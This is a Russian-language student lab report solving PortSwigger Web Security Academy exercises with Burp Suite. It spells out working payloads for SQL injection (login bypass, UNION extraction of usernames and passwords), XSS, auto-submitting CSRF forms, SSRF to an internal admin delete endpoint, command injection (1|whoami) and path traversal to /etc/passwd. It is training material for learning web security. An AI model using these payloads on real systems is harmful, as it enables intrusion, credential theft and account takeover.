---
# System prepended metadata

title: Web. Практическая работа №3

---

# Web. Практическая работа №3
## 3.0 Описание работы
В данной работе будем выполнять лабораторные на стенде:
- [https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-document-write-sink](https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-document-write-sink)
В основном будем использоать Burp Suite.
## 3.1 SQL-injection уязвимости
### 3.1.1 SQL injection vulnerability allowing login bypass
- [https://portswigger.net/web-security/sql-injection/lab-login-bypass](https://portswigger.net/web-security/sql-injection/lab-login-bypass)

Включим перехват, попробуем залогиниться
![](https://i.imgur.com/FQqG0ph.png)
Перехватим запрос, изменим значение переменной username на administrator' --
![](https://i.imgur.com/DYYTz9y.png)
Атака успешна, мы админы.
![](https://i.imgur.com/CQmkf1y.png)

---

### 3.1.2 SQL injection vulnerability in WHERE clause allowing retrieval of hidden data
- [https://portswigger.net/web-security/sql-injection/lab-retrieve-hidden-data](https://portswigger.net/web-security/sql-injection/lab-retrieve-hidden-data)

Откроем сайт
![](https://i.imgur.com/ybI7MRo.png)
Перехватим запрос категории и изменим значение переменной category на '+OR+1=1--
![](https://i.imgur.com/82fdIRM.png)
Атака успешна
![](https://i.imgur.com/z9a0UMK.png)

---

### 3.1.3 SQL injection UNION attack, retrieving data from other tables
- [https://portswigger.net/web-security/sql-injection/union-attacks/lab-retrieve-data-from-other-tables](https://portswigger.net/web-security/sql-injection/union-attacks/lab-retrieve-data-from-other-tables)

Откроем сайт
![](https://i.imgur.com/R2Vs8KB.png)
Перехватим запрос категории и установим значение переменной category в '+UNION+SELECT+'first','second'--. Так мы увидим где первая строка, а где вторая.
![](https://i.imgur.com/q6uHj1a.png)
Посмотрим результат, атака успешна, определили положения строк.
![](https://i.imgur.com/upOR93U.png)
Снова перехватим запрос категории и установим значение переменной category '+UNION+SELECT+username,+password+FROM+users--. Так мы выполним запрос к базе данных на выборку логинов/паролей.
![](https://i.imgur.com/Y1JVMf9.png)
Атака успешна
![](https://i.imgur.com/TAcUooF.png)

---

### 3.1.4 SQL injection attack, querying the database type and version on MySQL and Microsoft
- [https://portswigger.net/web-security/sql-injection/examining-the-database/lab-querying-database-version-mysql-microsoft](https://portswigger.net/web-security/sql-injection/examining-the-database/lab-querying-database-version-mysql-microsoft)

Откроем сайт
![](https://i.imgur.com/CnlYy29.png)
Перехватим запрос категории и установим значение переменной category в '+UNION+SELECT+'first','second'--. Так мы увидим где первая строка, а где вторая.
![](https://i.imgur.com/VB3sgFR.png)
Посмотрим результат, атака успешна, определили положения строк.
![](https://i.imgur.com/QibUFVj.png)
Снова перехватим запрос категории и установим значение переменной category '+UNION+SELECT+@@version,+NULL#. Так мы выполним запрос к базе данных и узнаем версию СУБД
![](https://i.imgur.com/O564GuE.png)
Атака успешна
![](https://i.imgur.com/pSkkVWP.png)

---

## 3.2 XSS уязвимости:

### 3.2.1 Stored XSS into HTML context with nothing encoded
- [https://portswigger.net/web-security/cross-site-scripting/stored/lab-html-context-nothing-encoded](https://portswigger.net/web-security/cross-site-scripting/stored/lab-html-context-nothing-encoded)

Откроем сайт
![](https://i.imgur.com/harMVTx.png)
Откроем пост, оставим коммент под постом. В комменте напишем < script>alert(1)</script >
![](https://i.imgur.com/vMRh6uS.png)
Коменнт опубликован
![](https://i.imgur.com/baOv202.png)
Вернемся к посту, атака успешна
![](https://i.imgur.com/Wn6F2wA.png)

---

### 3.2.2 DOM XSS in document.write sink using source location.search
- [https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-document-write-sink](https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-document-write-sink)
Откроем сайт, введем в поиске String1
![](https://i.imgur.com/EPiKmYT.png)
Исследуем элемент String1 видим, что он внутри тега img 
![](https://i.imgur.com/NqTLfVN.png)
Введем в поиске >< svg onload=alert(1)> , атака успешна
![](https://i.imgur.com/MQKrBcS.png)
![](https://i.imgur.com/Yweh6LX.png)

---

### 3.2.3 Reflected XSS into a JavaScript string with angle brackets HTML encoded
- [https://portswigger.net/web-security/cross-site-scripting/contexts/lab-javascript-string-angle-brackets-html-encoded](https://portswigger.net/web-security/cross-site-scripting/contexts/lab-javascript-string-angle-brackets-html-encoded)

Откроем сайт
![](https://i.imgur.com/sNfz5uv.png)
String1 в поиске
![](https://i.imgur.com/ei2EZ0C.png)
Исследуем элемент String1 видим, что он внутри тега script
![](https://i.imgur.com/XgoMSFa.png)
В поиске напишем - alert(1) -
![](https://i.imgur.com/THLcNw0.png)
Атака успешна
![](https://i.imgur.com/y9qteBA.png)


---

### 3.2.4 Reflected DOM XSS
- [https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-dom-xss-reflected](https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-dom-xss-reflected)

Откроем сайт
![](https://i.imgur.com/c7tgmlu.png)
Перехватим запрос поиска
![](https://i.imgur.com/Sin6HHx.png)
Посмотрим путь
![](https://i.imgur.com/vBFovCT.png)
Найдем js файл
![](https://i.imgur.com/SAgPXWF.png)
Откроем его, увидим что используется eval()
![](https://i.imgur.com/dtIp42X.png)
В строку поиска \" -alert ()}//
![](https://i.imgur.com/zV6eYDA.png)
Атака успешна
![](https://i.imgur.com/KLgvJHk.png)
![](https://i.imgur.com/DR5ZIIi.png)

---

## 3.3 CSRF:

### 3.3.1 CSRF vulnerability with no defenses
- [https://portswigger.net/web-security/csrf/lab-no-defenses](https://portswigger.net/web-security/csrf/lab-no-defenses)

Откроем сайт
![](https://i.imgur.com/tDsGxAC.png)
Откроем запись в блоге
![](https://i.imgur.com/Ql7gYBs.png)
Зайдем под пользователем wiener
![](https://i.imgur.com/8cTggK6.png)
Изменим почту
![](https://i.imgur.com/zblIF3j.png)
Перехватим запрос, скопируем адрес
![](https://i.imgur.com/UV0KCNO.png)
Запустим exploit сервер сохраним эксплойт с телом:
```html=
<html>
    <body>
        <form method="POST" action="https://0ab700bb03468b3ac0108ed7000a0036.web-security-academy.net/my-account/change-email">
            <input type="hidden" name="email" value="user@user.com"/>
            <input type="submit" value="Submit request"/>
        </form>
        <script>
            document.forms[0].submit();
        </script>
    </body>
</html>
```
![](https://i.imgur.com/u4xlRm6.png)
Нажмем доставку жертве, атака успешна
![](https://i.imgur.com/TYllZDo.png)

---



### 3.3.2 CSRF where token validation depends on request method
- [https://portswigger.net/web-security/csrf/lab-token-validation-depends-on-request-method](https://portswigger.net/web-security/csrf/lab-token-validation-depends-on-request-method)

Откроем сайт
![](https://i.imgur.com/K3wFF3J.png)
Зайдем под пользователем, обновим адрес почты
![](https://i.imgur.com/AEvjRfR.png)
Перехватим запрос
![](https://i.imgur.com/SDWKqQU.png)
Скопируем адрес
![](https://i.imgur.com/UhExmqI.png)
Создадим эксплойт с телом:
```html=
<html>
    <body>
        <form method="GET" action="https://0ab700bb03468b3ac0108ed7000a0036.web-security-academy.net/my-account/change-email">
            <input type="hidden" name="email" value="user@user.com"/>
        </form>
        <script>
            document.forms[0].submit();
        </script>
    </body>
</html>
```
![](https://i.imgur.com/X0TMhbN.png)
Доставим жертве, атака успешна
![](https://i.imgur.com/EEc0Ld1.png)

---


## 3.4 SSRF:
### 3.4.1 Basic SSRF against the local server

- [https://portswigger.net/web-security/ssrf/lab-basic-ssrf-against-localhost](https://portswigger.net/web-security/ssrf/lab-basic-ssrf-against-localhost)

Откроем сайт
![](https://i.imgur.com/YjhXYRZ.png)
Попробуем открыть админку
![](https://i.imgur.com/I5hnCRf.png)
Откроем товар, проверим наличие, перехватим запрос
![](https://i.imgur.com/9IT8Nkp.png)
Изменим переменную stockApi на значение 'http:// localhost/admin'
![](https://i.imgur.com/X2US2ly.png)
Получим админку, посмотри html код ссылки удаления carlos, определим отностительный путь и передадим его в localhost
![](https://i.imgur.com/9E0Kf5Z.png)
Но не через html а в переменной stockApi
![](https://i.imgur.com/YNX4MYa.png)
Перехватим запрос в переменную stockApi внесем значение 'http:// localhost/admin/delete?username=carlos'
![](https://i.imgur.com/PdI1PsW.png)
Атака успешна
![](https://i.imgur.com/VTEuXLk.png)


---


### 3.4.2 SSRF with filter bypass via open redirection vulnerability
- [https://portswigger.net/web-security/ssrf/lab-ssrf-filter-bypass-via-open-redirection](https://portswigger.net/web-security/ssrf/lab-ssrf-filter-bypass-via-open-redirection)

Откроем сайт
![](https://i.imgur.com/rqrpeIf.png)
Перехватим запрос на следующий продукт
![](https://i.imgur.com/mD6WUQO.png)
Изменим переменную stockApi на /product/nextProduct?path=http: //192.168.0.10:8080/admin
![](https://i.imgur.com/e8sGGPN.png)
Открылась админка, посмотрим html код ссылки удаления
![](https://i.imgur.com/sidITqa.png)
Еще раз перехватим запрос, и изменим stockApi на /poduct/nextProduct?path=http ://192.168.0.12:8080/admin/delete?username=carlos
![](https://i.imgur.com/4sX9f9o.png)
Пользователь удален
![](https://i.imgur.com/0Fb2vPJ.png)
Атака успешна
![](https://i.imgur.com/sromC2w.png)

---

## 3.5 RCE:
### 3.5.1 OS command injection, simple case
- [https://portswigger.net/web-security/os-command-injection/lab-simple](https://portswigger.net/web-security/os-command-injection/lab-simple)

Откроем сайт
![](https://i.imgur.com/A56GDHO.png)
Откроем продукт, перехватим запрос на проверку наличия
![](https://i.imgur.com/4ZRM9xC.png)
Изменим переменную storeId на значение 1|whoami
![](https://i.imgur.com/jCwTYlI.png)
Видим кто мы
![](https://i.imgur.com/b4XsZz6.png)
Атака успешна
![](https://i.imgur.com/3ZqEj9N.png)

---

## 3.6 Path traversal:
### 3.6.1 File path traversal, simple case
- [https://portswigger.net/web-security/file-path-traversal/lab-simple](https://portswigger.net/web-security/file-path-traversal/lab-simple)

Окроем сайт
![](https://i.imgur.com/YUMD4NO.png)
Перехватим запрос на загрузке изображения
![](https://i.imgur.com/WtwC4m5.png)
Изменим переменную filename на ../../../etc/passwd
![](https://i.imgur.com/5VQoAh2.png)
Атака успешна в ответе содержимое файла /etc/passwd полученное по относительному пути
![](https://i.imgur.com/aB4u7Ia.png)

---

### 3.6.2 File path traversal, traversal sequences blocked with absolute path bypass
- [https://portswigger.net/web-security/file-path-traversal/lab-absolute-path-bypass](https://portswigger.net/web-security/file-path-traversal/lab-absolute-path-bypass)

Откроем сайт
![](https://i.imgur.com/2VVIdFH.png)
Откроем продукт, перехватим запрос на загрузку изображения
![](https://i.imgur.com/hCCgAQI.png)
Изменим переменную filename на значение /etc/passwd
![](https://i.imgur.com/Ir6Easl.png)
Атака успешна, содержимое файла /etc/passwd в ответе
![](https://i.imgur.com/h8ptJDE.png)

---
Статистика по лабораторным
![](https://i.imgur.com/V4rSiDk.png)

---

Выполненные работы
![](https://i.imgur.com/wmC0aaZ.png)
![](https://i.imgur.com/qPDoe2f.png)
![](https://i.imgur.com/kwqbdTq.png)
![](https://i.imgur.com/0alLCsw.png)
![](https://i.imgur.com/FgPUesL.png)
![](https://i.imgur.com/PXPjzBI.png)
![](https://i.imgur.com/0MJdI9h.png)

---

На этом данная работа завершена